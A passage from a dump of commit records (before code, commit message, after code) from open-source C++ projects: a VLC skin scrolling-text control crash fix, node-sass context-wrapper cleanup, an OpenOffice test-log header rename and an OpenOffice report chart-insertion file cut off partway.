pThis->m_pCurrImg = pThis->m_pImgDouble;\n\n \/\/ Compute the new position of the left side, and make sure it is\n \/\/ in the correct range\n pThis->m_xPos = (pEvtMouse->getXPos() - pThis->m_xOffset);\n pThis->adjust( pThis->m_xPos );\n\n pThis->notifyLayout();\n }\n}\n\n\nvoid CtrlText::updateText( SkinObject *pCtrl )\n{\n CtrlText *pThis = (CtrlText*)pCtrl;\n\n pThis->m_xPos -= MOVING_TEXT_STEP;\n pThis->adjust( pThis->m_xPos );\n\n pThis->notifyLayout();\n}\n\n\nvoid CtrlText::adjust( int &position )\n{\n \/\/ {m_pImgDouble->getWidth() - m_pImg->getWidth()} is the period of the\n \/\/ bitmap; remember that the string used to generate m_pImgDouble is of the\n \/\/ form: \"foo foo\", the number of spaces being a parameter\n if( !m_pImg )\n {\n return;\n }\n position %= m_pImgDouble->getWidth() - m_pImg->getWidth();\n if( position > 0 )\n {\n position -= m_pImgDouble->getWidth() - m_pImg->getWidth();\n }\n}\n\n<commit_msg> * ctrl_text.cpp: check if the scrolling is still necessary when the text is updated (avoid many crashes)<commit_after>\/*****************************************************************************\n * ctrl_text.cpp\n *****************************************************************************\n * Copyright (C) 2003 VideoLAN\n * $Id$\n *\n * Authors: Cyril Deguet <asmax@via.ecp.fr>\n * Olivier Teulire <ipkiss@via.ecp.fr>\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111, USA.\n *****************************************************************************\/\n\n#include \"ctrl_text.hpp\"\n#include \"..\/events\/evt_generic.hpp\"\n#include \"..\/events\/evt_mouse.hpp\"\n#include \"..\/src\/generic_bitmap.hpp\"\n#include \"..\/src\/generic_font.hpp\"\n#include \"..\/src\/os_factory.hpp\"\n#include \"..\/src\/os_graphics.hpp\"\n#include \"..\/src\/os_timer.hpp\"\n#include \"..\/utils\/position.hpp\"\n#include \"..\/utils\/ustring.hpp\"\n#include \"..\/utils\/var_text.hpp\"\n\n\n#define MOVING_TEXT_STEP 3\n#define MOVING_TEXT_DELAY 200\n#define SEPARATOR_STRING \" \"\n\n\nCtrlText::CtrlText( intf_thread_t *pIntf, VarText &rVariable,\n const GenericFont &rFont, const UString &rHelp,\n uint32_t color, VarBool *pVisible ):\n CtrlGeneric( pIntf, rHelp, pVisible ), m_fsm( pIntf ),\n m_rVariable( rVariable ), m_cmdToManual( this, &transToManual ),\n m_cmdManualMoving( this, &transManualMoving ),\n m_cmdManualStill( this, &transManualStill ),\n m_cmdMove( this, &transMove ),\n m_pEvt( NULL ), m_rFont( rFont ), m_color( color ),\n m_pImg( NULL ), m_pImgDouble( NULL ), m_pCurrImg( NULL ),\n m_xPos( 0 ), m_xOffset( 0 )\n{\n m_pTimer = OSFactory::instance( getIntf() )->createOSTimer(\n Callback( this, &updateText ) );\n\n \/\/ States\n m_fsm.addState( \"still\" );\n m_fsm.addState( \"moving\" );\n m_fsm.addState( \"manual1\" );\n m_fsm.addState( \"manual2\" );\n m_fsm.addState( \"outStill\" );\n m_fsm.addState( \"outMoving\" );\n\n \/\/ Transitions\n m_fsm.addTransition( \"still\", \"mouse:left:down\", \"manual1\",\n &m_cmdToManual );\n m_fsm.addTransition( \"manual1\", \"mouse:left:up\", \"moving\",\n &m_cmdManualMoving );\n m_fsm.addTransition( \"moving\", \"mouse:left:down\", \"manual2\",\n &m_cmdToManual );\n m_fsm.addTransition( \"manual2\", \"mouse:left:up\", \"still\",\n &m_cmdManualStill );\n m_fsm.addTransition( \"manual1\", \"motion\", \"manual1\", &m_cmdMove );\n m_fsm.addTransition( \"manual2\", \"motion\", \"manual2\", &m_cmdMove );\n m_fsm.addTransition( \"still\", \"leave\", \"outStill\" );\n m_fsm.addTransition( \"outStill\", \"enter\", \"still\" );\n m_fsm.addTransition( \"moving\", \"leave\", \"outMoving\" );\n m_fsm.addTransition( \"outMoving\", \"enter\", \"moving\" );\n\n \/\/ Initial state\n m_fsm.setState( \"outStill\" );\n\n \/\/ Observe the variable\n m_rVariable.addObserver( this );\n\n \/\/ Set the text\n displayText( m_rVariable.get() );\n}\n\n\nCtrlText::~CtrlText()\n{\n m_rVariable.delObserver( this );\n if( m_pTimer )\n {\n delete m_pTimer;\n }\n if( m_pImg )\n {\n delete m_pImg;\n }\n if( m_pImgDouble )\n {\n delete m_pImgDouble;\n }\n}\n\n\nvoid CtrlText::handleEvent( EvtGeneric &rEvent )\n{\n \/\/ Save the event to use it in callbacks\n m_pEvt = &rEvent;\n\n m_fsm.handleTransition( rEvent.getAsString() );\n}\n\n\nbool CtrlText::mouseOver( int x, int y ) const\n{\n if( m_pCurrImg )\n {\n \/\/ We have 3 different ways of deciding when to return true here:\n \/\/ 1) the mouse is exactly over the text (so if you click between two\n \/\/ letters, the text control doesn't catch the event)\n \/\/ 2) the mouse is over the rectangle of the control\n \/\/ 3) the mouse is over the rectangle of the visible text\n \/\/ I don't know which one is the best...\n#if 0\n return( x >= 0 && x < getPosition()->getWidth()\n && m_pCurrImg->hit( x - m_xPos, y ) );\n#endif\n#if 1\n return( x >= 0 && x < getPosition()->getWidth()\n && y >= 0 && y < getPosition()->getHeight() );\n#endif\n#if 0\n return( x >= 0 && x < getPosition()->getWidth()\n && y >= 0 && y < getPosition()->getHeight()\n && x < m_pCurrImg->getWidth() && x < m_pCurrImg->getHeight() );\n#endif\n }\n else\n {\n return false;\n }\n}\n\n\nvoid CtrlText::draw( OSGraphics &rImage, int xDest, int yDest )\n{\n if( m_pCurrImg )\n {\n \/\/ Compute the dimensions to draw\n int width = min( m_pCurrImg->getWidth() + m_xPos,\n getPosition()->getWidth() );\n int height = min( m_pCurrImg->getHeight(), getPosition()->getHeight() );\n \/\/ Draw the current image\n rImage.drawBitmap( *m_pCurrImg, -m_xPos, 0, xDest, yDest,\n width, height );\n }\n}\n\n\nvoid CtrlText::setText( const UString &rText, uint32_t color )\n{\n \/\/ Change the color\n if( color != 0xFFFFFFFF )\n {\n m_color = color;\n }\n\n \/\/ Change the text\n m_rVariable.set( rText );\n}\n\n\nvoid CtrlText::onUpdate( Subject<VarText> &rVariable )\n{\n displayText( m_rVariable.get() );\n}\n\n\nvoid CtrlText::displayText( const UString &rText )\n{\n \/\/ Create the images ('normal' and 'double') from the text\n \/\/ 'Normal' image\n if( m_pImg )\n {\n delete m_pImg;\n }\n m_pImg = m_rFont.drawString( rText, m_color );\n if( !m_pImg )\n {\n return;\n }\n \/\/ 'Double' image\n const UString doubleStringWithSep = rText + SEPARATOR_STRING + rText;\n if( m_pImgDouble )\n {\n delete m_pImgDouble;\n }\n m_pImgDouble = m_rFont.drawString( doubleStringWithSep, m_color );\n\n \/\/ Update the current image used, as if the control size had changed\n onChangePosition();\n m_xPos = 0;\n\n \/\/ If the control was in the moving state, check if the scrolling is\n \/\/ still necessary\n const string &rState = m_fsm.getState();\n if( rState == \"moving\" || rState == \"outMoving\" )\n {\n if( m_pImg && m_pImg->getWidth() >= getPosition()->getWidth() )\n {\n m_pCurrImg = m_pImgDouble;\n m_pTimer->start( MOVING_TEXT_DELAY, false );\n }\n else\n {\n m_pTimer->stop();\n }\n }\n\n notifyLayout();\n}\n\n\nvoid CtrlText::onChangePosition()\n{\n if( m_pImg && getPosition() )\n {\n if( m_pImg->getWidth() < getPosition()->getWidth() )\n {\n m_pCurrImg = m_pImg;\n }\n else\n {\n m_pCurrImg = m_pImgDouble;\n }\n }\n else\n {\n \/\/ m_pImg is a better default value than m_pImgDouble, but anyway we\n \/\/ don't care because the control is never drawn without position :)\n m_pCurrImg = m_pImg;\n }\n}\n\n\nvoid CtrlText::transToManual( SkinObject *pCtrl )\n{\n CtrlText *pThis = (CtrlText*)pCtrl;\n EvtMouse *pEvtMouse = (EvtMouse*)pThis->m_pEvt;\n\n \/\/ Compute the offset\n pThis->m_xOffset = pEvtMouse->getXPos() - pThis->m_xPos;\n\n pThis->m_pTimer->stop();\n pThis->captureMouse();\n}\n\n\nvoid CtrlText::transManualMoving( SkinObject *pCtrl )\n{\n CtrlText *pThis = (CtrlText*)pCtrl;\n pThis->releaseMouse();\n\n \/\/ Start the automatic movement, but only if the text is wider than the\n \/\/ control\n if( pThis->m_pImg &&\n pThis->m_pImg->getWidth() >= pThis->getPosition()->getWidth() )\n {\n \/\/ The current image may have been set incorrectly in displayText(), so\n \/\/ set the correct value\n pThis->m_pCurrImg = pThis->m_pImgDouble;\n\n pThis->m_pTimer->start( MOVING_TEXT_DELAY, false );\n }\n}\n\n\nvoid CtrlText::transManualStill( SkinObject *pCtrl )\n{\n CtrlText *pThis = (CtrlText*)pCtrl;\n pThis->releaseMouse();\n}\n\n\nvoid CtrlText::transMove( SkinObject *pCtrl )\n{\n CtrlText *pThis = (CtrlText*)pCtrl;\n EvtMouse *pEvtMouse = (EvtMouse*)pThis->m_pEvt;\n\n \/\/ Do nothing if the text fits in the control\n if( pThis->m_pImg &&\n pThis->m_pImg->getWidth() >= pThis->getPosition()->getWidth() )\n {\n \/\/ The current image may have been set incorrectly in displayText(), so\n \/\/ we set the correct value\n pThis->m_pCurrImg = pThis->m_pImgDouble;\n\n \/\/ Compute the new position of the left side, and make sure it is\n \/\/ in the correct range\n pThis->m_xPos = (pEvtMouse->getXPos() - pThis->m_xOffset);\n pThis->adjust( pThis->m_xPos );\n\n pThis->notifyLayout();\n }\n}\n\n\nvoid CtrlText::updateText( SkinObject *pCtrl )\n{\n CtrlText *pThis = (CtrlText*)pCtrl;\n\n pThis->m_xPos -= MOVING_TEXT_STEP;\n pThis->adjust( pThis->m_xPos );\n\n pThis->notifyLayout();\n}\n\n\nvoid CtrlText::adjust( int &position )\n{\n \/\/ {m_pImgDouble->getWidth() - m_pImg->getWidth()} is the period of the\n \/\/ bitmap; remember that the string used to generate m_pImgDouble is of the\n \/\/ form: \"foo foo\", the number of spaces being a parameter\n if( !m_pImg )\n {\n return;\n }\n position %= m_pImgDouble->getWidth() - m_pImg->getWidth();\n if( position > 0 )\n {\n position -= m_pImgDouble->getWidth() - m_pImg->getWidth();\n }\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"sass_context_wrapper.h\"\n\nextern \"C\" {\n using namespace std;\n\n void compile_it(uv_work_t* req) {\n sass_context_wrapper* ctx_w = static_cast<sass_context_wrapper*>(req->data);\n\n if (ctx_w->dctx) {\n compile_data(ctx_w->dctx);\n }\n else if (ctx_w->fctx) {\n compile_file(ctx_w->fctx);\n }\n }\n\n void compile_data(struct Sass_Data_Context* dctx) {\n sass_compile_data_context(dctx);\n }\n\n void compile_file(struct Sass_File_Context* fctx) {\n sass_compile_file_context(fctx);\n }\n\n sass_context_wrapper* sass_make_context_wrapper() {\n auto ctx_w = (sass_context_wrapper*)calloc(1, sizeof(sass_context_wrapper));\n uv_mutex_init(&ctx_w->importer_mutex);\n uv_cond_init(&ctx_w->importer_condition_variable);\n return ctx_w;\n }\n\n void sass_free_context_wrapper(sass_context_wrapper* ctx_w) {\n if (ctx_w->dctx) {\n sass_delete_data_context(ctx_w->dctx);\n }\n else if (ctx_w->fctx) {\n sass_delete_file_context(ctx_w->fctx);\n }\n\n NanDisposePersistent(ctx_w->stats);\n delete ctx_w->success_callback;\n delete ctx_w->error_callback;\n delete ctx_w->importer_callback;\n\n free(ctx_w);\n }\n}\n<commit_msg>Importer: Destroys vars before leaving the scope.<commit_after>#include \"sass_context_wrapper.h\"\n\nextern \"C\" {\n using namespace std;\n\n void compile_it(uv_work_t* req) {\n sass_context_wrapper* ctx_w = static_cast<sass_context_wrapper*>(req->data);\n\n if (ctx_w->dctx) {\n compile_data(ctx_w->dctx);\n }\n else if (ctx_w->fctx) {\n compile_file(ctx_w->fctx);\n }\n }\n\n void compile_data(struct Sass_Data_Context* dctx) {\n sass_compile_data_context(dctx);\n }\n\n void compile_file(struct Sass_File_Context* fctx) {\n sass_compile_file_context(fctx);\n }\n\n sass_context_wrapper* sass_make_context_wrapper() {\n auto ctx_w = (sass_context_wrapper*)calloc(1, sizeof(sass_context_wrapper));\n uv_mutex_init(&ctx_w->importer_mutex);\n uv_cond_init(&ctx_w->importer_condition_variable);\n return ctx_w;\n }\n\n void sass_free_context_wrapper(sass_context_wrapper* ctx_w) {\n if (ctx_w->dctx) {\n sass_delete_data_context(ctx_w->dctx);\n }\n else if (ctx_w->fctx) {\n sass_delete_file_context(ctx_w->fctx);\n }\n\n NanDisposePersistent(ctx_w->stats);\n\n delete ctx_w->success_callback;\n delete ctx_w->error_callback;\n delete ctx_w->importer_callback;\n delete ctx_w->file;\n delete ctx_w->cookie;\n\n uv_mutex_destroy(&ctx_w->importer_mutex);\n uv_cond_destroy(&ctx_w->importer_condition_variable);\n\n free(ctx_w);\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * $RCSfile: tlog.hxx,v $\n *\n * $Revision: 1.1 $\n *\n * last change: $Author: sz $ $Date: 2001-04-12 10:55:26 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef _SOLTOOLS_TESTSHL_TLOG_HXX__\n#define _SOLTOOLS_TESTSHL_TLOG_HXX__\n\n#ifndef _OSL_FILE_HXX_\n#include <osl\/file.hxx>\n#endif\n\n#ifndef _RTL_TRES_HXX_\n#include <rtl\/tres.hxx>\n#endif\n\n#ifndef _SOLTOOLS_TESTSHL_TUTIL_HXX_\n#include \"tutil.hxx\"\n#endif\n\n#include <iostream>\n\nusing namespace std;\n\n\/\/ <namespace_tstutl>\nnamespace tstutl {\n\n\/\/ <class_tLog>\nclass tLog {\n\n \/\/ <private_members>\n ::osl::File* m_logfile; \/\/ fileobject\n ::rtl::OUString m_logname; \/\/ name of log\n \/\/ <\/private_members>\n\n \/\/ <private_methods>\n void initialize( const ::rtl::OString& name );\n \/\/ <\/private_methods>\n\npublic:\n\n \/\/ <public_ctors>\n tLog() : m_logfile( 0 ) {\n }\n\n tLog( const sal_Char* name ) {\n if( name ) {\n initialize( name );\n }\n else {\n m_logfile = 0;\n }\n\n }\n \/\/ <\/public_ctors>\n\n \/\/ <dtor>\n virtual ~tLog() {\n if ( m_logfile ) {\n m_logfile->close();\n delete( m_logfile );\n }\n } \/\/ <\/dtor>\n\n \/\/ <public_methods>\n inline ::rtl::OUString& getName() { return m_logname; }\n inline ::osl::File* getFile() { return m_logfile; }\n\n \/\/ open logfile for overwrite (default) or append\n ::osl::FileBase::RC open( sal_Bool append = sal_False );\n ::osl::FileBase::RC close();\n\n ::osl::FileBase::RC writeRes( ::rtl::tRes& oRes, sal_Bool v = sal_False ,\n sal_Bool xml = sal_False );\n\n \/\/ write methods without (default) or with echo on display\n ::osl::FileBase::RC write( const sal_Char* buf, sal_Bool v = sal_False );\n \/\/ <\/public_methods>\n\n}; \/\/ <\/class_tLog>\n\n} \/\/ <\/namespace_tstutl>\n\n#endif\n<commit_msg>*** empty log message ***<commit_after>\/*************************************************************************\n *\n * $RCSfile: tlog.hxx,v $\n *\n * $Revision: 1.2 $\n *\n * last change: $Author: ganaya $ $Date: 2001-05-04 04:29:27 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n#ifndef _SOLTOOLS_TESTSHL_TLOG_HXX__\n#define _SOLTOOLS_TESTSHL_TLOG_HXX__\n\n#ifndef _OSL_FILE_HXX_\n#include <osl\/file.hxx>\n#endif\n\n#ifndef _RTL_TRES_HXX_\n#include <rtl\/tres.hxx>\n#endif\n\n#ifndef _SOLTOOLS_TESTSHL_TUTIL_HXX_\n#include \"tutil.hxx\"\n#endif\n\n#include <iostream>\n\nusing namespace std;\n\n\/\/ <namespace_tstutl>\nnamespace tstutl {\n\n\/\/ <class_tLog>\nclass tLog {\n\n \/\/ <private_members>\n ::osl::File* m_logfile; \/\/ fileobject\n ::rtl::OUString m_logname; \/\/ name of log\n \/\/ <\/private_members>\n\n \/\/ <private_methods>\n void initialize( const ::rtl::OString& name );\n \/\/ <\/private_methods>\n\npublic:\n\n \/\/ <public_ctors>\n tLog() : m_logfile( 0 ) {\n }\n\n tLog( const sal_Char* name ) {\n if( name ) {\n initialize( name );\n }\n else {\n m_logfile = 0;\n }\n\n }\n \/\/ <\/public_ctors>\n\n \/\/ <dtor>\n virtual ~tLog() {\n if ( m_logfile ) {\n m_logfile->close();\n delete( m_logfile );\n }\n } \/\/ <\/dtor>\n\n \/\/ <public_methods>\n inline ::rtl::OUString& getName() { return m_logname; }\n inline ::osl::File* getFile() { return m_logfile; }\n\n \/\/ open logfile for overwrite (default) or append\n ::osl::FileBase::RC open( sal_Bool append = sal_False );\n ::osl::FileBase::RC close();\n\n ::osl::FileBase::RC writeRes( ::rtl::TestResult& oRes, sal_Bool v = sal_False ,\n sal_Bool xml = sal_False );\n\n \/\/ write methods without (default) or with echo on display\n ::osl::FileBase::RC write( const sal_Char* buf, sal_Bool v = sal_False );\n \/\/ <\/public_methods>\n\n}; \/\/ <\/class_tLog>\n\n} \/\/ <\/namespace_tstutl>\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: InsertFunctions.cxx,v $\n * $Revision: 1.3 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_reportdesign.hxx\"\n#include <com\/sun\/star\/embed\/NoVisualAreaSizeException.hpp>\n#include <com\/sun\/star\/embed\/Aspects.hpp>\n#include <com\/sun\/star\/beans\/XPropertySet.hpp>\n\n\/\/------------------------------------------------------------------------\n\n#include <toolkit\/helper\/vclunohelper.hxx>\n#include <sot\/exchange.hxx>\n#include <svtools\/globalnameitem.hxx>\n#include <sfx2\/viewfrm.hxx>\n#include <sfx2\/docfile.hxx>\n#include <svtools\/stritem.hxx>\n#include <svx\/svdoole2.hxx>\n#include <svx\/svdview.hxx>\n#include <svx\/pfiledlg.hxx>\n#include <tools\/urlobj.hxx>\n#include <vcl\/msgbox.hxx>\n#include <svtools\/urihelper.hxx>\n#include <svtools\/moduleoptions.hxx>\n#include <svtools\/insdlg.hxx>\n#include <svtools\/soerr.hxx>\n#include <svx\/svxdlg.hxx>\n#include <sot\/clsids.hxx>\n#include <svx\/svdpagv.hxx>\n#include <svx\/svdpage.hxx>\n#include <svx\/svdundo.hxx>\n#include <svx\/svdmodel.hxx>\n\n#include <cppuhelper\/component_context.hxx>\n#include <comphelper\/processfactory.hxx>\n#include <comphelper\/storagehelper.hxx>\n#include <comphelper\/property.hxx>\n#include <comphelper\/types.hxx>\n#include <comphelper\/embeddedobjectcontainer.hxx>\n#include <com\/sun\/star\/beans\/XPropertySet.hpp>\n#include <com\/sun\/star\/frame\/XSynchronousFrameLoader.hpp>\n#include <com\/sun\/star\/frame\/XComponentLoader.hpp>\n#include <com\/sun\/star\/beans\/PropertyValue.hpp>\n#include <com\/sun\/star\/chart2\/data\/DatabaseDataProvider.hpp>\n#include <com\/sun\/star\/lang\/XInitialization.hpp>\n#include <com\/sun\/star\/frame\/XModel.hpp>\n#include <com\/sun\/star\/chart\/ChartDataRowSource.hpp>\n#include <com\/sun\/star\/chart2\/data\/XDataReceiver.hpp>\n\nusing namespace ::com::sun::star;\n\n#include \"InsertFunctions.hxx\"\n#include \"RptObject.hxx\"\n\nnamespace rptui\n{\n\/\/------------------------------------------------------------------------\nvoid InitializeChart( const uno::Reference< frame::XModel>& _xModel,\n const uno::Reference < embed::XEmbeddedObject >& xObj)\n{\n \/\/ScDocShell* pDocShell = pViewData->GetDocShell();\n \/\/ScDocument* pScDoc = pDocShell->GetDocument();\n\n \/\/rtl::OUString aRangeString( rRangeParam );\n \/\/if ( !aRangeString.getLength() )\n \/\/{\n \/\/ SCCOL nCol1 = 0;\n \/\/ SCROW nRow1 = 0;\n \/\/ SCTAB nTab1 = 0;\n \/\/ SCCOL nCol2 = 0;\n \/\/ SCROW nRow2 = 0;\n \/\/ SCTAB nTab2 = 0;\n\n \/\/ ScMarkData& rMark = pViewData->GetMarkData();\n \/\/ if ( !rMark.IsMarked() )\n \/\/ pViewData->GetView()->MarkDataArea( TRUE );\n\n \/\/ if ( pViewData->GetSimpleArea( nCol1,nRow1,nTab1, nCol2,nRow2,nTab2 ) )\n \/\/ {\n \/\/ PutInOrder( nCol1, nCol2 );\n \/\/ PutInOrder( nRow1, nRow2 );\n \/\/ if ( nCol2>nCol1 || nRow2>nRow1 )\n \/\/ {\n \/\/ ScDocument* pDoc = pViewData->GetDocument();\n \/\/ pDoc->LimitChartArea( nTab1, nCol1,nRow1, nCol2,nRow2 );\n\n \/\/ String aStr;\n \/\/ ScRange aRange( nCol1, nRow1, nTab1, nCol2, nRow2, nTab2 );\n \/\/ aRange.Format( aStr, SCR_ABS_3D, pScDoc );\n \/\/ aRangeString = aStr;\n \/\/ }\n \/\/ }\n \/\/}\n\n \/\/if ( rRangeParam.getLength() )\n {\n \/\/ connect to Calc data (if no range string, leave chart alone, with its own data)\n\n uno::Reference< chart2::data::XDataReceiver > xReceiver;\n uno::Reference< embed::XComponentSupplier > xCompSupp( xObj, uno::UNO_QUERY );\n if( xCompSupp.is())\n xReceiver.set( xCompSupp->getComponent(), uno::UNO_QUERY );\n OSL_ASSERT( xReceiver.is());\n if( xReceiver.is() )\n {\n \/\/ lock the model to suppress any internal updates\n uno::Reference< frame::XModel > xChartModel( xReceiver, uno::UNO_QUERY );\n if( xChartModel.is() )\n xChartModel->lockControllers();\n\n uno::Reference< lang::XMultiServiceFactory> xFac(_xModel,uno::UNO_QUERY_THROW);\n uno::Reference< chart2::data::XDatabaseDataProvider > xDataProvider( xFac->createInstance(::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"com.sun.star.chart2.data.DataProvider\"))),uno::UNO_QUERY);\n xReceiver->attachDataProvider( xDataProvider.get() );\n\n uno::Reference< util::XNumberFormatsSupplier > xNumberFormatsSupplier( _xModel, uno::UNO_QUERY );\n xReceiver->attachNumberFormatsSupplier( xNumberFormatsSupplier );\n\n uno::Sequence< beans::PropertyValue > aArgs( 4 );\n aArgs[0] = beans::PropertyValue(\n ::rtl::OUString::createFromAscii(\"CellRangeRepresentation\"), -1,\n uno::makeAny( ::rtl::OUString(RTL_CONSTASCII_USTRINGPARAM(\"all\")) ), beans::PropertyState_DIRECT_VALUE );\n aArgs[1] = beans::PropertyValue(\n ::rtl::OUString::createFromAscii(\"HasCategories\"), -1,\n uno::makeAny( sal_True ), beans::PropertyState_DIRECT_VALUE );\n aArgs[2] = beans::PropertyValue(\n ::rtl::OUString::createFromAscii(\"FirstCellAsLabel\"), -1,\n uno::makeAny( sal_False ), beans::PropertyState_DIRECT_VALUE );\n aArgs[3] = beans::PropertyValue(\n ::rtl::OUString::createFromAscii(\"DataRowSource\"), -1,\n uno::makeAny( chart::ChartDataRowSource_COLUMNS ), beans::PropertyState_DIRECT_VALUE );\n xReceiver->setArguments( aArgs );\n\n if( xChartModel.is() )\n xChartModel->unlockControllers();\n }\n }\n}\n\/\/ -----------------------------------------------------------------------------\n} \/\/ namespace rptui\n\/\/ -----------------------------------------------------------------------------\n\n<commit_msg>INTEGRATION: CWS rptchart02 (1.2.4); FILE MERGED 2008\/04\/30 13:03:35 oj 1.2.4.3: #i88843# impl clone method 2008\/04\/16 06:30:23 oj 1.2.4.2: RESYNC: (1.2-1.3); FILE MERGED 2008\/03\/12 09:45:18 oj 1.2.4.1: impl chart handling<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: InsertFunctions.cxx,v $\n * $Revision: 1.4 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_reportdesign.hxx\"\n#include <com\/sun\/star\/embed\/NoVisualAreaSizeException.hpp>\n#include <com\/sun\/star\/embed\/Aspects.hpp>\n#include <com\/sun\/star\/beans\/XPropertySet.hpp>\n#include <com\/sun\/star\/embed\/XEmbedPersist.hpp>\n\/\/------------------------------------------------------------------------\n\n#include <toolkit\/helper\/vclunohelper.hxx>\n#include <sot\/exchange.hxx>\n#include <svtools\/globalnameitem.hxx>\n#include <sfx2\/viewfrm.hxx>\n#include <sfx2\/docfile.hxx>\n#include <svtools\/stritem.hxx>\n#include <svx\/svdoole2.hxx>\n#include <svx\/svdview.hxx>\n#include 